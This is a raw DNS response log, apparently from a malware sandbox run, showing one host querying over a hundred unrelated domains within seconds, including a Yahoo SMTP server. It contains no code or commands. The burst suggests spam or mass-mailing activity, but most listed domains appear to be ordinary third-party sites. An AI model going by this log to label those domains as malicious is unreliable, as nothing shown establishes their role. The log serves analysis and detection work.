May 31, 2023 14:51:51.302000999 CEST	8.8.8.8	192.168.2.3	0xb5b1	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.331784964 CEST	8.8.8.8	192.168.2.3	0xcb00	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.333126068 CEST	8.8.8.8	192.168.2.3	0xa4bf	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.336412907 CEST	8.8.8.8	192.168.2.3	0x2320	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.339874983 CEST	8.8.8.8	192.168.2.3	0xa2dd	No error (0)	hbfuels.com		85.233.160.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.345609903 CEST	8.8.8.8	192.168.2.3	0xe756	No error (0)	plaske.ua		52.211.245.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.345642090 CEST	8.8.8.8	192.168.2.3	0x120c	No error (0)	gujarat.com		172.67.145.148	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.345642090 CEST	8.8.8.8	192.168.2.3	0x120c	No error (0)	gujarat.com		104.21.73.143	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.367772102 CEST	8.8.8.8	192.168.2.3	0x4f13	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.415016890 CEST	8.8.8.8	192.168.2.3	0x323d	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.415276051 CEST	8.8.8.8	192.168.2.3	0xa790	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.415276051 CEST	8.8.8.8	192.168.2.3	0xa790	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.427088976 CEST	8.8.8.8	192.168.2.3	0xa612	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.436887980 CEST	8.8.8.8	192.168.2.3	0x34b9	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.436887980 CEST	8.8.8.8	192.168.2.3	0x34b9	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.453069925 CEST	8.8.8.8	192.168.2.3	0x232e	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.455501080 CEST	8.8.8.8	192.168.2.3	0xb12f	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.455501080 CEST	8.8.8.8	192.168.2.3	0xb12f	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.484667063 CEST	8.8.8.8	192.168.2.3	0xcfa	No error (0)	www.diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.493232012 CEST	8.8.8.8	192.168.2.3	0x17b4	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.517263889 CEST	8.8.8.8	192.168.2.3	0xb43e	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.558542967 CEST	8.8.8.8	192.168.2.3	0x50ed	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.640041113 CEST	8.8.8.8	192.168.2.3	0xdab5	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.640041113 CEST	8.8.8.8	192.168.2.3	0xdab5	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.668345928 CEST	8.8.8.8	192.168.2.3	0x55ab	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.714468956 CEST	8.8.8.8	192.168.2.3	0xff12	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.749294043 CEST	8.8.8.8	192.168.2.3	0xc33b	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.749294043 CEST	8.8.8.8	192.168.2.3	0xc33b	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.775227070 CEST	8.8.8.8	192.168.2.3	0x9e16	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.775227070 CEST	8.8.8.8	192.168.2.3	0x9e16	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.793790102 CEST	8.8.8.8	192.168.2.3	0xe7f8	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.793790102 CEST	8.8.8.8	192.168.2.3	0xe7f8	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.805541992 CEST	8.8.8.8	192.168.2.3	0xf244	No error (0)	www.netcr.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.805541992 CEST	8.8.8.8	192.168.2.3	0xf244	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.805541992 CEST	8.8.8.8	192.168.2.3	0xf244	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.805541992 CEST	8.8.8.8	192.168.2.3	0xf244	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.913350105 CEST	8.8.8.8	192.168.2.3	0xb658	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.921859980 CEST	8.8.8.8	192.168.2.3	0x837f	No error (0)	www.cokocoko.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.921859980 CEST	8.8.8.8	192.168.2.3	0x837f	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:51.921859980 CEST	8.8.8.8	192.168.2.3	0x837f	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.921859980 CEST	8.8.8.8	192.168.2.3	0x837f	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.976301908 CEST	8.8.8.8	192.168.2.3	0xacdd	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.976301908 CEST	8.8.8.8	192.168.2.3	0xacdd	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.976301908 CEST	8.8.8.8	192.168.2.3	0xacdd	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.976301908 CEST	8.8.8.8	192.168.2.3	0xacdd	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:51.984487057 CEST	8.8.8.8	192.168.2.3	0x1961	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.057605982 CEST	8.8.8.8	192.168.2.3	0x9b50	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.058348894 CEST	8.8.8.8	192.168.2.3	0xd85a	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:52.058348894 CEST	8.8.8.8	192.168.2.3	0xd85a	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.077841997 CEST	8.8.8.8	192.168.2.3	0x963e	No error (0)	cutchie.com		199.59.243.223	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.084932089 CEST	8.8.8.8	192.168.2.3	0x9a78	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.131580114 CEST	8.8.8.8	192.168.2.3	0xc904	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:52.131580114 CEST	8.8.8.8	192.168.2.3	0xc904	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.236829996 CEST	8.8.8.8	192.168.2.3	0xa2f8	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.257741928 CEST	8.8.8.8	192.168.2.3	0x7b9c	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.269639015 CEST	8.8.8.8	192.168.2.3	0x145d	No error (0)	deckoviny.cz		88.86.118.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.307684898 CEST	8.8.8.8	192.168.2.3	0xc365	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.472134113 CEST	8.8.8.8	192.168.2.3	0xed1b	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.494949102 CEST	8.8.8.8	192.168.2.3	0x4b69	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:52.494949102 CEST	8.8.8.8	192.168.2.3	0x4b69	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:52.494949102 CEST	8.8.8.8	192.168.2.3	0x4b69	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.494949102 CEST	8.8.8.8	192.168.2.3	0x4b69	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.494949102 CEST	8.8.8.8	192.168.2.3	0x4b69	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.494949102 CEST	8.8.8.8	192.168.2.3	0x4b69	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.87	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.591051102 CEST	8.8.8.8	192.168.2.3	0xe599	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.603657961 CEST	8.8.8.8	192.168.2.3	0xab47	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.685647964 CEST	8.8.8.8	192.168.2.3	0x6bc7	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.685647964 CEST	8.8.8.8	192.168.2.3	0x6bc7	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.695660114 CEST	8.8.8.8	192.168.2.3	0x901a	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.833518028 CEST	8.8.8.8	192.168.2.3	0x8225	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.928621054 CEST	8.8.8.8	192.168.2.3	0xe9b6	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:52.994237900 CEST	8.8.8.8	192.168.2.3	0xd67c	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.029392958 CEST	8.8.8.8	192.168.2.3	0xef56	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.047871113 CEST	8.8.8.8	192.168.2.3	0x9708	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:53.047871113 CEST	8.8.8.8	192.168.2.3	0x9708	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:53.047871113 CEST	8.8.8.8	192.168.2.3	0x9708	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.053880930 CEST	8.8.8.8	192.168.2.3	0xbf5d	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.053880930 CEST	8.8.8.8	192.168.2.3	0xbf5d	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.053880930 CEST	8.8.8.8	192.168.2.3	0xbf5d	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.062211990 CEST	8.8.8.8	192.168.2.3	0xc60a	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.088788986 CEST	8.8.8.8	192.168.2.3	0xdaf0	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.193646908 CEST	8.8.8.8	192.168.2.3	0x9bfa	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.207741022 CEST	8.8.8.8	192.168.2.3	0x6088	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.263227940 CEST	8.8.8.8	192.168.2.3	0xcec8	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:53.263227940 CEST	8.8.8.8	192.168.2.3	0xcec8	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.295294046 CEST	8.8.8.8	192.168.2.3	0x322b	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.305201054 CEST	8.8.8.8	192.168.2.3	0x13a2	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.452431917 CEST	8.8.8.8	192.168.2.3	0xc330	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.467613935 CEST	8.8.8.8	192.168.2.3	0xa07b	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.551104069 CEST	8.8.8.8	192.168.2.3	0xc5ad	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.551104069 CEST	8.8.8.8	192.168.2.3	0xc5ad	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.628964901 CEST	8.8.8.8	192.168.2.3	0x8628	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.726082087 CEST	8.8.8.8	192.168.2.3	0x2fed	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.827846050 CEST	8.8.8.8	192.168.2.3	0x7d51	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:53.827846050 CEST	8.8.8.8	192.168.2.3	0x7d51	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:53.827846050 CEST	8.8.8.8	192.168.2.3	0x7d51	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:53.827846050 CEST	8.8.8.8	192.168.2.3	0x7d51	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:53.827846050 CEST	8.8.8.8	192.168.2.3	0x7d51	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.853399038 CEST	8.8.8.8	192.168.2.3	0x7c9d	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.892709017 CEST	8.8.8.8	192.168.2.3	0xeda6	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:53.977077961 CEST	8.8.8.8	192.168.2.3	0xc4a2	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.036134005 CEST	8.8.8.8	192.168.2.3	0x3e4d	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.036134005 CEST	8.8.8.8	192.168.2.3	0x3e4d	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.049588919 CEST	8.8.8.8	192.168.2.3	0xef56	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.310985088 CEST	8.8.8.8	192.168.2.3	0x322b	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.398874044 CEST	8.8.8.8	192.168.2.3	0x55a9	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.398874044 CEST	8.8.8.8	192.168.2.3	0x55a9	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.435125113 CEST	8.8.8.8	192.168.2.3	0x6ff1	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.774452925 CEST	8.8.8.8	192.168.2.3	0x86b3	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.815855026 CEST	8.8.8.8	192.168.2.3	0xa984	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.815855026 CEST	8.8.8.8	192.168.2.3	0xa984	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.993848085 CEST	8.8.8.8	192.168.2.3	0x8296	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:54.993848085 CEST	8.8.8.8	192.168.2.3	0x8296	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.321827888 CEST	8.8.8.8	192.168.2.3	0x322b	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.334068060 CEST	8.8.8.8	192.168.2.3	0xff14	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.341666937 CEST	8.8.8.8	192.168.2.3	0x58d	No error (0)	dyag-eng.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.341666937 CEST	8.8.8.8	192.168.2.3	0x58d	No error (0)	dyag-eng.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.476802111 CEST	8.8.8.8	192.168.2.3	0x45fa	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.480832100 CEST	8.8.8.8	192.168.2.3	0x55f	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.480832100 CEST	8.8.8.8	192.168.2.3	0x55f	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.485929012 CEST	8.8.8.8	192.168.2.3	0x9ce2	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.572550058 CEST	8.8.8.8	192.168.2.3	0xe902	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.710594893 CEST	8.8.8.8	192.168.2.3	0xe814	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.710594893 CEST	8.8.8.8	192.168.2.3	0xe814	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.734947920 CEST	8.8.8.8	192.168.2.3	0xe8f3	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:55.734947920 CEST	8.8.8.8	192.168.2.3	0xe8f3	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.825248957 CEST	8.8.8.8	192.168.2.3	0xd2e6	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.966142893 CEST	8.8.8.8	192.168.2.3	0x666d	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:55.966142893 CEST	8.8.8.8	192.168.2.3	0x666d	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:56.768507957 CEST	8.8.8.8	192.168.2.3	0x8301	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:57.858622074 CEST	8.8.8.8	192.168.2.3	0xa1ca	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:57.867777109 CEST	8.8.8.8	192.168.2.3	0x4560	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:57.998970985 CEST	8.8.8.8	192.168.2.3	0xda37	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.005721092 CEST	8.8.8.8	192.168.2.3	0xc9bd	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.067287922 CEST	8.8.8.8	192.168.2.3	0x39d3	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.070194960 CEST	8.8.8.8	192.168.2.3	0xa74c	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.073441029 CEST	8.8.8.8	192.168.2.3	0x3521	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.074882030 CEST	8.8.8.8	192.168.2.3	0x2f8b	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.074937105 CEST	8.8.8.8	192.168.2.3	0xd238	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.074937105 CEST	8.8.8.8	192.168.2.3	0xd238	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.075386047 CEST	8.8.8.8	192.168.2.3	0x3e6d	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.075946093 CEST	8.8.8.8	192.168.2.3	0xbbf8	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.075946093 CEST	8.8.8.8	192.168.2.3	0xbbf8	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.078536987 CEST	8.8.8.8	192.168.2.3	0xffeb	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.080220938 CEST	8.8.8.8	192.168.2.3	0x4036	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.081687927 CEST	8.8.8.8	192.168.2.3	0xd1b1	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.081687927 CEST	8.8.8.8	192.168.2.3	0xd1b1	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.081687927 CEST	8.8.8.8	192.168.2.3	0xd1b1	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.103749990 CEST	8.8.8.8	192.168.2.3	0x17e5	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.103749990 CEST	8.8.8.8	192.168.2.3	0x17e5	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.114856005 CEST	8.8.8.8	192.168.2.3	0xd70e	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.145838976 CEST	8.8.8.8	192.168.2.3	0xb051	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.148303032 CEST	8.8.8.8	192.168.2.3	0x5347	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.151410103 CEST	8.8.8.8	192.168.2.3	0xcb7	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.151540995 CEST	8.8.8.8	192.168.2.3	0xf738	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.157962084 CEST	8.8.8.8	192.168.2.3	0x1ea9	No error (0)	cutchie.com		199.59.243.223	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.163032055 CEST	8.8.8.8	192.168.2.3	0x8b16	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.164627075 CEST	8.8.8.8	192.168.2.3	0x8797	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.167766094 CEST	8.8.8.8	192.168.2.3	0xbff5	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.167841911 CEST	8.8.8.8	192.168.2.3	0xb2c0	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.169646025 CEST	8.8.8.8	192.168.2.3	0xb800	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.171607018 CEST	8.8.8.8	192.168.2.3	0x11b0	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.206156969 CEST	8.8.8.8	192.168.2.3	0xc58f	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.208873987 CEST	8.8.8.8	192.168.2.3	0x7ef0	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.211209059 CEST	8.8.8.8	192.168.2.3	0x59f8	No error (0)	ascc.org.au		203.210.102.34	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.217093945 CEST	8.8.8.8	192.168.2.3	0x7505	No error (0)	shittas.com		43.246.117.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.219717979 CEST	8.8.8.8	192.168.2.3	0x95d6	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.220019102 CEST	8.8.8.8	192.168.2.3	0x305b	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.221157074 CEST	8.8.8.8	192.168.2.3	0xea92	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.221631050 CEST	8.8.8.8	192.168.2.3	0xf6ca	No error (0)	vfcindia.com		103.191.209.76	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.226123095 CEST	8.8.8.8	192.168.2.3	0xa2dc	No error (0)	sinwal.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.226123095 CEST	8.8.8.8	192.168.2.3	0xa2dc	No error (0)	sinwal.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.244278908 CEST	8.8.8.8	192.168.2.3	0x414	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.273919106 CEST	8.8.8.8	192.168.2.3	0x3c13	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
